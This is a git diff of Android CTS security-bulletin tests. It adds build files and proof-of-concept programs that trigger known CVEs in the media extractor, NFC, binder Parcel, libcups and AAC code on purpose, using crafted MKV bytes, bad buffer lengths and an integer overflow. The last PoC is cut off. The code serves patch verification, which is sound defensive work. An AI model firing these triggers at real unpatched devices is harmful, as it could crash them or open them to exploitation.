index 0000000..baee6a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2126",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libutils",
+ "liblog",
+ "libdatasource",
+ ],
+
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-DCHECK_MEMORY_LEAK",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
new file mode 100644
index 0000000..45bec73
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
@@ -0,0 +1,128 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <sys/mman.h>
+
+unsigned char mkvDataStart[] = {
+ 0x1A, 0x45, 0xDF, 0xA3, 0x10, 0x00, 0x00, 0x0A, 0x42, 0x82, 0x10, 0x00,
+ 0x00, 0x04, 0x77, 0x65, 0x62, 0x6D, 0x18, 0x53, 0x80, 0x67, 0x10, 0xF4,
+ 0x24, 0x49, 0x16, 0x54, 0xAE, 0x6B, 0x10, 0xF4, 0x24, 0x41, 0xAE, 0x10,
+ 0xF4, 0x24, 0x3C, 0xD7, 0x81, 0x01, 0x83, 0x81, 0x01, 0xE0, 0x10, 0x00,
+ 0x00, 0x03, 0xB0, 0x81, 0x01, 0x6D, 0x80, 0x10, 0xF4, 0x24, 0x28, 0x62,
+ 0x40, 0x10, 0xF4, 0x24, 0x22, 0x50, 0x34, 0x10, 0xF4, 0x24, 0x19, 0x42,
+ 0x54, 0x81, 0x01, 0x42, 0x55, 0x10, 0xF4, 0x24, 0x00};
+
+unsigned char mkvDataEnd[] = {0x42, 0x55, 0x81, 0x61, 0x42, 0x54,
+ 0x88, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
+ 0xFF, 0xFF, 0xFF, 0x50, 0x35, 0x80};
+
+#define LIBNAME "/system/lib64/extractors/libmkvextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmkvextractor.so"
+
+#define LEAK_SIZE 16000000
+#define LEAK_DATA 0x61
+#define TMP_FILE "/data/local/tmp/temp_cve_2019_2126"
+
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == LEAK_SIZE); }
+
+int main() {
+
+#if _64_BIT
+ GetExtractorDef getDef = nullptr;
+ FILE *fp = fopen(TMP_FILE, "wb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ char *appendArray = (char *)malloc(LEAK_SIZE);
+ memset(appendArray, LEAK_DATA, LEAK_SIZE * sizeof(char));
+
+ /* Write mkv stream */
+ fwrite(mkvDataStart, 1, sizeof(mkvDataStart), fp);
+
+ /* Append a bitstream which causes memory leak */
+ fwrite(appendArray, 1, LEAK_SIZE, fp);
+ fwrite(mkvDataEnd, 1, sizeof(mkvDataEnd), fp);
+ free((void *)appendArray);
+ fclose(fp);
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSourceFactory> dsf = DataSourceFactory::getInstance();
+ sp<DataSource> dataSource = dsf->CreateFromURI(NULL, TMP_FILE);
+ if (dataSource == nullptr) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void *creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ remove(TMP_FILE);
+ dlclose(libHandle);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp
new file mode 100644
index 0000000..a7eef92
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2133",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ include_dirs: [
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+ "system/nfc/src/nfa/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfc/include/",
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
new file mode 100644
index 0000000..3cce7af
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ uint8_t p_data = 0xA0;
+ uint32_t len = 0;
+
+ phNxpExtns_MfcModuleInit();
+ Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp
new file mode 100644
index 0000000..3bbda28
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2134",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ include_dirs: [
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+ "system/nfc/src/nfa/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfc/include/",
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
new file mode 100644
index 0000000..1514e2a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ uint8_t p_data = 0xA0;
+ uint32_t len = 1;
+
+ phNxpExtns_MfcModuleInit();
+ Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp
new file mode 100644
index 0000000..1166510
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE_2019_2135",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/nfa/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/ulinux/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp
new file mode 100644
index 0000000..582ddb8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfa_api.h>
+#include <nfc_api.h>
+#include <phNfcTypes.h>
+#include <phNxpExtns.h>
+
+static void nfaMockDMCallback(uint8_t, tNFA_DM_CBACK_DATA *) {}
+static void nfaMockCCallback(uint8_t, tNFA_CONN_EVT_DATA *) {}
+
+int main(void) {
+ if (EXTNS_Init(nfaMockDMCallback, nfaMockCCallback) != NFCSTATUS_SUCCESS) {
+ return EXIT_FAILURE;
+ }
+ const int32_t size = 16;
+ const int32_t offset = size - 1;
+ uint8_t *p_data = static_cast<uint8_t *>(malloc(size));
+ if (p_data == nullptr) {
+ return EXIT_FAILURE;
+ }
+ p_data[offset] = 0x60;
+ EXTNS_MfcTransceive(&p_data[offset], 1);
+ free(p_data);
+ EXTNS_Close();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
new file mode 100644
index 0000000..7482be3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2136",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libbinder",
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
new file mode 100644
index 0000000..c4d9a79
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/Parcel.h>
+#include <binder/Status.h>
+
+using namespace android;
+using ::android::binder::Status;
+
+int main(void) {
+ Parcel parcel;
+ parcel.writeInt32(Status::EX_HAS_REPLY_HEADER);
+ /** Vulerable Code: const int32_t header_start = parcel.dataPosition();
+ parcel.setDataPosition(header_start + header_size);
+ Hence header_start is 4 [sizeof(int32_t)] as we have written
+ Status::EX_HAS_REPLY_HEADER. header_start + header_size computation will
+ overflow if header_size > INT32_MAX - sizeof(int32_t).
+ */
+ parcel.writeInt32(INT32_MAX - sizeof(int32_t));
+ parcel.setDataPosition(0);
+ Status status;
+ status.readFromParcel(parcel);
+ /** If vulnerability is present, the parcel's data position would be very
+ large. Hence any write to the parcel will trigger a SIGSEGV else the
+ write would pass.
+ */
+ parcel.writeInt32(0);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp
new file mode 100644
index 0000000..9876bd7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2228",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.c",
+ ],
+ shared_libs: [
+ "libcups",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
new file mode 100644
index 0000000..63600cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
@@ -0,0 +1,83 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <ipp.h>
+
+int isInitialized = 0;
+void *check_ptr = NULL;
+size_t text_len = sizeof("text/plain") - 1;
+
+static void *(*real_malloc)(size_t) = NULL;
+static int (*real_strcmp)(const char *str1, const char *str2) = NULL;
+
+void init(void) {
+ real_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+ if (real_malloc == NULL) {
+ return;
+ }
+ real_strcmp = (int (*)(const char *, const char *))dlsym(RTLD_NEXT, "strcmp");
+ if (real_strcmp == NULL) {
+ return;
+ }
+ isInitialized = 1;
+}
+
+void *malloc(size_t size) {
+ if (!isInitialized) {
+ init();
+ }
+ void *tmp = real_malloc(size);
+ if (size == text_len) {
+ check_ptr = tmp;
+ }
+ return tmp;
+}
+
+int strcmp(const char *str1, const char *str2) {
+ if (!isInitialized) {
+ init();
+ }
+ if ((str1 == check_ptr) && (str1[text_len - 1] != '\0')) {
+ exit(EXIT_VULNERABLE);
+ }
+ return real_strcmp(str1, str2);
+}
+
+int main(int argc, char **argv) {
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ int file_desc = open((const char *)argv[1], O_RDONLY);
+ if (file_desc < 0) {
+ return EXIT_FAILURE;
+ }
+
+ ipp_t *job = ippNew();
+ if (!job) {
+ return EXIT_FAILURE;
+ }
+ ippReadFile(file_desc, job);
+
+ if (job) {
+ free(job);
+ }
+ close(file_desc);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp
new file mode 100644
index 0000000..e989f4c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-9247",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "external/aac/libMpegTPDec/include/",
+ "external/aac/libMpegTPDec/src/",
+ "external/aac/libSYS/include/",
+ "external/aac/libFDK/include/",
+ "cts/hostsidetests/securitybulletin/securityPatch/includes/",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp
new file mode 100644
index 0000000..aed7662
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp
@@ -0,0 +1,95 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <iostream>
+#include <unistd.h>
+#include <dlfcn.h>
+#include <common.h>
+
+#include "tpdec_lib.h"
+
+#define STACK_SIZE 16384
+#define SIZE_OF_VULNERABLE_MEMORY 1024
+#define TRANSPORTDEC_SIZE 5684
+#define INITIAL_VAL 0xBE
+#define TIMEOUT_IN_SECONDS 540
+
+const UINT length = 200;
+UCHAR conf[length] = { 0 };
+UINT layer = 0;
+bool isVulnerable = false;
+bool isPocExecutionComplete = false;
+
+static void* (*real_memcpy)(void*, const void*, size_t) = nullptr;
+static bool s_memory_copy_initialized = false;
+
+int poc(void *sTp) {
+ transportDec_OutOfBandConfig((struct TRANSPORTDEC *) sTp, conf, length,
+ layer);
+ isPocExecutionComplete = true;
+ return EXIT_SUCCESS;
+}
+
+void memory_copy_init(void) {
+ real_memcpy = (void *(*)(void *, const void *,
+ size_t))dlsym(RTLD_NEXT, "memcpy");
+ if (!real_memcpy) {
+ return;
+ }
+ s_memory_copy_initialized = true;
+}
+
+void* memcpy(void* destination, const void* source, size_t num) {
+ if (!s_memory_copy_initialized) {
+ memory_copy_init();
+ }
+ if (num == length) {
+ char *tmp_destination = (char*) destination;
+ for (int i = 0; i < SIZE_OF_VULNERABLE_MEMORY; ++i) {
+ if (tmp_destination[i] == INITIAL_VAL) {
+ isVulnerable = true;
+ break;
+ }
+ }
+ }
+ return real_memcpy(destination, source, num);
+}
+
+int main() {
+ void *sTp = malloc(TRANSPORTDEC_SIZE);
+ if (!sTp) {
+ return EXIT_FAILURE;
+ }
+ char *ptr = (char *) malloc(STACK_SIZE);
+ if (!ptr) {
+ free(sTp);
+ return EXIT_FAILURE;
+ }
+ memset(sTp, 0x00, TRANSPORTDEC_SIZE);
+ memset(ptr, INITIAL_VAL, STACK_SIZE);
+ clone(&poc, ptr + STACK_SIZE, CLONE_VM, sTp);
+ int sleepCounter = 0;
+ while (!isPocExecutionComplete) {
+ if (sleepCounter == TIMEOUT_IN_SECONDS) {
+ break;
+ }
+ sleep(1);
+ ++sleepCounter;
+ }
+ free(ptr);
+ free(sTp);
+ return (isVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
index 59f72ed..21eaf53 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
@@ -67,8 +67,7 @@
aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
INT_PCM outputBuf[kMaxOutBufferSize];
do {
- mErrorCode = aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf,
- sizeof(outputBuf), 0);
+ mErrorCode = aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, kMaxOutBufferSize, 0);
} while (mErrorCode == AAC_DEC_OK);
UINT offset = inputSize - valid;
data += offset;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/Android.bp
new file mode 100644
index 0000000..dbb07bc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0006",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/poc.cpp
new file mode 100644
index 0000000..e90150e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/poc.cpp
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+// borrowed from rw_i93.cc
+#define RW_I93_FORMAT_DATA_LEN 8
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t* p_uid);
+void* vulnerable_ptr;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
